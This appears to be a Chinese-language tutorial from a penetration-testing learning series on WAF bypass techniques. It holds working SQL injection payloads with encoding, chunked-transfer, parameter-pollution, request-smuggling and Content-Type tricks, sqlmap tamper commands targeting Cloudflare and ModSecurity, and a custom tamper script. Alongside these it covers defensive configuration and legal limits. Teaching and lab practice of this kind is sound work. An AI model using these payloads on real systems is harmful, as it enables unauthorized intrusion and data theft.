📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
✓ 23 sqlmap 注入与 Burp 抓包
✓ 24 XSS 跨站脚本攻击
✓ 25 CSRF 与文件上传漏洞
✓ 26 命令执行与代码执行漏洞
✓ 27 文件包含与 SSRF 漏洞
✓ 28 反序列化漏洞
✓ 29 XXE 外部实体注入
✓ 30 越权访问与逻辑漏洞
31 WAF 绕过技术(当前篇 · 模块 2 收官)
32 代码审计入门(预告 · 模块 3)
模块 3-5 后续持续更新
导读
前 8 篇文章我们学了 SQL 注入、XSS、CSRF、文件上传、命令执行、反序列化、XXE、越权——每一种攻击都假设目标没有防护。但现实世界中,大多数企业部署了 WAF(Web Application Firewall):Cloudflare、ModSecurity、阿里云 WAF。它们像一道过滤网,拦截包含 UNION SELECT、<script> 等特征的请求。但 WAF 不是银弹——它需要在「拦截恶意」和「放行正常」之间找平衡,而这个平衡点恰恰是攻击者的突破口。
读完本篇你将能:识别主流 WAF 的指纹特征、掌握 5 大类绕过技术(编码/分块/HPP/协议歧义/语法变异)、使用 sqlmap tamper 脚本自动化绕过、理解 WAF 与后端解析器的不一致如何被利用、为 Web 应用设计纵深防御体系。
目录
1. WAF 基础:工作原理与主流产品指纹
2. 编码绕过:URL / Unicode / Base64 / Hex
3. 分块传输绕过:拆分 Payload 逃逸检测
4. HTTP 参数污染:利用后端优先级差异
5. 协议歧义与语法变异绕过
6. sqlmap tamper 脚本实战
7. 伦理边界与分级练习

1. WAF 基础:工作原理与主流产品指纹

WAF 部署在 Web 应用前面,检查所有 HTTP 请求和响应。它维护一个规则库(如 OWASP Core Rule Set),将请求与规则匹配——命中则拦截(返回 403),未命中则放行。WAF 的检测维度包括:请求头、URL 路径、Query 参数、POST Body、Cookie。

1.1 WAF 的检测层次

签名匹配:最基础的检测方式——正则匹配恶意特征字符串,如 union\s+select。优点是快速高效,缺点是编码变形即可绕过
行为分析:统计请求频率、参数组合模式,检测异常行为。如同一 IP 在 1 秒内发送 100 次不同 ID 的请求,可能是 IDOR 枚举
机器学习:部分云 WAF(Cloudflare、AWS)使用 ML 模型识别攻击模式,理论上能发现零日攻击,但误报率高
速率限制:限制单位时间内的请求次数,主要防暴力破解和枚举

1.2 主流 WAF 指纹识别

绕过 WAF 的第一步是知道对方用了什么 WAF。不同 WAF 的规则集、检测能力和绕过难度差异很大。可以通过响应头和错误页面识别:

WAF 识别特征 绕过难度
Cloudflare cf-ray 头、server: cloudflare 中高
AWS WAF x-amzn-requestid 头 中
ModSecurity Apache/Nginx 默认 403 页面 中(依赖规则集)
阿里云 WAF 405 Not Allowed 拦截页 中
Akamai AkamaiGHost 头 高
WAF 指纹识别命令
# 用 wafw00f 自动识别 WAF 类型
wafw00f https://target.com
 
# 手动发送触发 Payload 观察响应
curl -v https://target.com/?id=1' UNION SELECT--
# 403 + Server: cloudflare → Cloudflare WAF
# 403 + Mod_Security → ModSecurity

2. 编码绕过:URL / Unicode / Base64 / Hex

编码绕过是最经典的 WAF 绕过技术。WAF 的签名规则通常匹配明文字符串,如果攻击者将 Payload 编码后发送,WAF 可能无法解码就放行,但后端应用在处理时解码还原——这种「WAF 不解码、后端解码」的不一致就是绕过的核心。

2.1 URL 编码绕过

URL 编码将特殊字符转为 %XX 格式。WAF 可能只检查明文而不解码:

URL 编码绕过对比
# 原始 SQL 注入 Payload(被 WAF 拦截)
?id=1' UNION SELECT--
 
# 单引号 URL 编码
?id=1%27 UNION SELECT--
 
# 双重 URL 编码(WAF 解码一次,后端再解码一次)
# %27 → %2527(第一次解码: %25→%, 得 %27; 第二次: ')
?id=1%2527 UNION SELECT--
 
# 全部编码
?id=%31%27%20UNION%20SELECT--

2.2 Unicode 编码绕过

Unicode 编码利用不同编码格式表示同一字符。MySQL、SQL Server 等数据库支持 Unicode 字符串解析,WAF 可能不识别这些变体:

Unicode 编码绕过
# 原始 Payload
?name=admin' OR 1=1--
 
# Unicode 宽字节绕过(GBK 编码环境)
# %df%27 → 运(0xdf27) → 吃掉转义的反斜杠
?name=%df%27 OR 1=1--
 
# Hex 编码绕过
# SELECT → 0x53454c454354
?id=1 UNION SELECT password FROM users
# 可变形为:
?id=1 UNION SELECT password FROM users WHERE column_name=0x7573657273

2.3 大小写与注释混用

最简单的变异往往最有效——许多 WAF 规则只匹配小写或特定大小写组合:

大小写与注释变异
# 原始(被拦截)
1 union select
 
# 大小写混合
1 UnIoN SeLeCt
 
# 内联注释拆分关键词
1 UN/**/ION SE/**/LECT
 
# 空格替代(Tab / 换行 / 注释)
1%09UNION%0ASELECT (%09=Tab, %0a=换行)
1/**/UNION/**/SELECT (MySQL 内联注释)
💡 小贴士
WAF 绕过的本质是「解析器不一致」——WAF 和后端应用对同一 HTTP 请求的解析方式不同。WAF 看到 %2527 解码一次得到 %27(看似无害),但后端的 Web 框架再解码一次得到单引号 '(触发注入)。这种「双重解码」不一致是编码绕过的核心原理,不是编码本身有多神秘。

3. 分块传输绕过:拆分 Payload 逃逸检测

HTTP 1.1 支持 Transfer-Encoding: chunked,允许将请求体分成多个块发送,每块前标注块大小(十六进制)。WAF 如果只检查完整请求体而不组装分块,就看不到完整的恶意 Payload——因为它被拆散在不同块中了。

3.1 分块传输原理

分块传输正常示例
POST /search.php HTTP/1.1
Transfer-Encoding: chunked
 
5
Hello
6
World
0
# 后端组装后:Hello World

3.2 分块拆分 Payload

将 SQL 注入 Payload 拆分到多个块中,WAF 看到的每块都是无害碎片:

分块传输绕过 Payload
POST /search.php HTTP/1.1
Transfer-Encoding: chunked
 
# 原始 Payload: ' UNION SELECT--
2
'
7
UNION
7
SELECT
2
--
0
 
# WAF 看到每块: ' / UNION / SELECT / --
# 没有一块完整匹配 union\s+select 规则
# 但后端组装后: ' UNION SELECT--

3.3 分块变形绕过

部分 WAF 识别了 Transfer-Encoding: chunked 头并尝试组装分块。此时可以用变形头绕过:

分块变形技巧
# 技巧1: 大小写变形
Transfer-Encoding: Chunked
 
# 技巧2: 多余头混淆
Transfer-Encoding: chunked
Transfer-Encoding: x
# WAF 取第一个值(chunked),后端取最后一个值(x)
# 后端不按分块解析 → 直接处理原始数据
 
# 技巧3: 省略结束标记
Transfer-Encoding: chunked
5
hello
# 不发送 0 结束标记 → 部分 WAF 等待超时放行
常见错误
分块传输绕过不是万能的。许多现代 WAF(Cloudflare、AWS WAF)已经支持组装分块后再检测。测试时先用正常分块请求确认 WAF 是否组装——发送一个拆分的已知恶意 Payload,如果被拦截说明 WAF 支持分块组装,需要结合其他技术(如编码+分块组合)才能绕过。Burp Suite 的 Chunked Coding Mode 插件可以快速构造分块请求。

4. HTTP 参数污染:利用后端优先级差异

HTTP 参数污染(HPP)的原理极为巧妙:当请求中同一参数名出现多次时,WAF 和后端框架对「取哪个值」的处理方式不同。攻击者发送 ?id=1&id=UNION SELECT,WAF 检查第一个 id=1(无害,放行),但后端取最后一个 id=UNION SELECT(触发注入)。

4.1 不同后端的参数优先级

后端技术 重复参数取值 行为
PHP 取最后一个 id=恶意值生效
ASP.NET 拼接所有值(逗号分隔) 1,恶意值
Java Servlet getParameter 取第一个 id=1(无害)
Node.js Express 取第一个 id=1(无害)
Python Flask 取第一个 id=1(无害)

关键洞察:PHP 和 ASP.NET 后端最容易受 HPP 攻击——PHP 取最后一个值,ASP.NET 把所有值拼接。而 Java/Node.js/Python 取第一个值,HPP 针对这些后端需要反过来——把恶意值放在第一个,安全值放在最后一个。

4.2 HPP 实战 Payload

HPP 绕过 Payload
# PHP 后端(取最后一个值)
GET /search?q=safe&q=' UNION SELECT-- HTTP/1.1
# WAF 检查 q=safe → 放行
# PHP 取 q=' UNION SELECT-- → 注入
 
# ASP.NET 后端(拼接所有值)
GET /search?id=1;--&id=SELECT * FROM users HTTP/1.1
# ASP.NET 拼接为: 1;--,SELECT * FROM users
# WAF 分别检查每个值,均不匹配规则
 
# 跨位置 HPP(混合 Query + Body)
POST /search?name=safe HTTP/1.1
name=' OR 1=1--
# WAF 可能只检查 Query 或只检查 Body
# 后端合并同名参数时取优先级高的
💡 小贴士
HPP 最隐蔽的场景是跨位置参数污染——同一个参数名出现在 URL Query 和 POST Body 中。WAF 通常分别检查 Query 和 Body,不会将两者合并检测。但后端框架在合并参数时(如 Express 的 req.query + req.body 合并),可能让恶意值覆盖安全值。测试时尝试把恶意 Payload 放在 Body,安全值放在 Query,看后端合并后取哪个。

5. 协议歧义与语法变异绕过

WAF 和后端对 HTTP 协议规范的解读可能不一致——HTTP/1.1 规范本身存在模糊地带,不同服务器实现了不同的解析逻辑。攻击者利用这些歧义让 WAF 和后端「看到不同的请求」。

5.1 HTTP 请求走私

请求走私(Request Smuggling)是最危险的协议歧义利用:前端代理(WAF/CDN)和后端服务器对请求边界的判断不一致,导致攻击者可以「走私」一个后端看到但前端没看到的请求。核心冲突在于 Content-Length 和 Transfer-Encoding 两个头的优先级:

CL-TE 走私
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
 
0
 
SMUGGLED
 
# 前端(WAF)看 Content-Length=13,读取全部(含走私部分)
# 但看到 0 结束标记 → 认为请求到此结束 → 放行
# 后端看 Transfer-Encoding → 读到 0 认为结束
# "SMUGGLED" 变成下一个请求的开头

5.2 换行符变异

HTTP 规范要求行尾为 CRLF(\r\n),但许多服务器接受单独的 LF(\n)。WAF 可能只按 CRLF 解析,而后端按 LF 解析:

换行符变异
# WAF 按 CRLF 解析 → 整个请求是一行
GET / HTTP/1.1\nHost: target\n\nGET /admin HTTP/1.1\nHost: target
 
# 后端按 LF 解析 → 看到两个独立请求
# 第一个: GET / (正常,WAF 检查通过)
# 第二个: GET /admin (走私!WAF 没看到)

5.3 Content-Type 变异

WAF 通常对 application/x-www-form-urlencoded 做 SQL 注入检测,对 application/json 做 JSON 注入检测。切换 Content-Type 可能逃逸检测:

Content-Type 变异
# 标准 URL 编码(WAF 检测 SQL 注入)
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=' UNION SELECT--
 
# 改为 JSON(某些 WAF 不检查 JSON 中的 SQL)
POST /search HTTP/1.1
Content-Type: application/json
{"q":"' UNION SELECT--"}
 
# XML 格式(某些 WAF 不检查 XML Body)
Content-Type: application/xml
<?xml version="1.0"?><q>' UNION SELECT--</q>

6. sqlmap tamper 脚本实战

sqlmap 内置了 50+ 个 tamper 脚本,每个脚本对 Payload 做特定变形以绕过不同 WAF。多个 tamper 可组合使用——层层编码变形,直到 WAF 不再识别。这是自动化 WAF 绕过的核心工具。

6.1 常用 tamper 脚本

脚本 原理 目标 WAF
space2comment 空格→/**/ FortiWAF、Barracuda
charencode URL 编码所有字符 通用
chardoubleencode 双重 URL 编码 ASP/IIS
between 大于号→NOT BETWEEN Cloudflare
randomcase 随机大小写 关键词匹配型 WAF
space2dash 空格→注释符 -- MSSQL

6.2 tamper 组合实战

sqlmap tamper 组合命令
# 组合多个 tamper 绕过 Cloudflare
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent \
  --delay=2 \
  --dbms=mysql
 
# 绕过 ModSecurity (OWASP CRS)
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,charencode \
  --random-agent --delay=1
 
# 查看所有可用 tamper 脚本
sqlmap --list-tampers
 
# 自定义 tamper 脚本编写
# 文件放在 sqlmap/tamper/ 目录下
from lib.core.enums import PRIORITY
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(' ', '/**/')
        payload = payload.replace('UNION', 'UnIoN')
    return payload

6.3 防御方:WAF 配置最佳实践

规范化输入:在 WAF 检测前先做 URL 解码、HTML 解码、Unicode 规范化,确保攻击者无法靠编码变形绕过签名匹配
组装分块:WAF 必须支持 Transfer-Encoding: chunked 的组装后再检测
合并重复参数:检测时将同名参数的所有值合并为一个字符串再匹配规则
限制方法与 Content-Type:不接受的 Content-Type 直接拒绝,不给攻击者切换格式绕过的机会
协议规范化:拒绝同时包含 Content-Length 和 Transfer-Encoding 头的请求
纵深防御:WAF 不是唯一防线——参数化查询、输入验证、输出编码才是根治方案

7. 伦理边界与分级练习

7.1 法律红线

WAF 绕过技术的目的是测试自身防御体系的有效性。对他人部署了 WAF 的系统进行绕过测试属于未授权访问,即使成功绕过未进一步攻击,绕过行为本身已违反《网络安全法》第二十七条。所有练习必须在自建靶场或授权测试环境中进行。

合法练习环境:
自建 ModSecurity + OWASP CRS 靶场(Docker 部署)
Cloudflare WAF 免费版(绑定自己的域名)
OWASP ModSecurity Core Rule Set 测试环境
DVWA + ModSecurity 组合靶场

7.2 分级练习

入门级
1. 用 Docker 部署 ModSecurity + DVWA,发送正常 SQL 注入 Payload 观察拦截
2. 手动构造 URL 编码 Payload 绕过签名匹配
3. 用大小写混合和内联注释绕过 union select 规则
4. 用 wafw00f 识别 3 个公开网站的 WAF 类型(仅识别不攻击)
5. 用 sqlmap 单个 tamper 脚本测试绕过效果
进阶级
1. 用 Burp 手动构造分块传输请求拆分 SQL 注入 Payload
2. 测试 HPP:用 ?id=1&id=恶意 测试 PHP 后端取值
3. 组合 2-3 个 sqlmap tamper 脚本测试绕过
4. 切换 Content-Type 从 form 到 JSON 观察检测差异
5. 在自建 Cloudflare 免费版上测试编码绕过
挑战级
1. 编写自定义 sqlmap tamper 脚本绕过自建 WAF 规则
2. 构造 CL-TE 请求走私 Payload(在自建双代理环境中测试)
3. 用换行符变异绕过 WAF 的请求解析
4. 实现编码+分块+HPP 三重组合绕过
5. 为自建 WAF 编写防护规则:输入规范化、分块组装、参数合并,逐项测试绕过效果
知识回顾
WAF 指纹识别 URL 编码 双重编码 Unicode 宽字节 大小写变异 内联注释 分块传输 HPP 请求走私 协议歧义 sqlmap tamper 解析器不一致 wafw00f
下篇预告
32 代码审计入门:从黑盒到白盒的思维转换
模块 2 Web 应用渗透到此完结。接下来进入模块 3 代码审计——不再靠发送 Payload 试探,而是直接阅读源代码寻找漏洞。将学习 PHP/Java/Python 三种语言的代码审计方法论:危险函数搜索、数据流追踪、污点分析、SonarQube/CodeQL/Semgrep 等工具辅助审计。从黑盒到白盒,是安全工程师能力跃升的关键一步。
关注公众号获取更多安全学习内容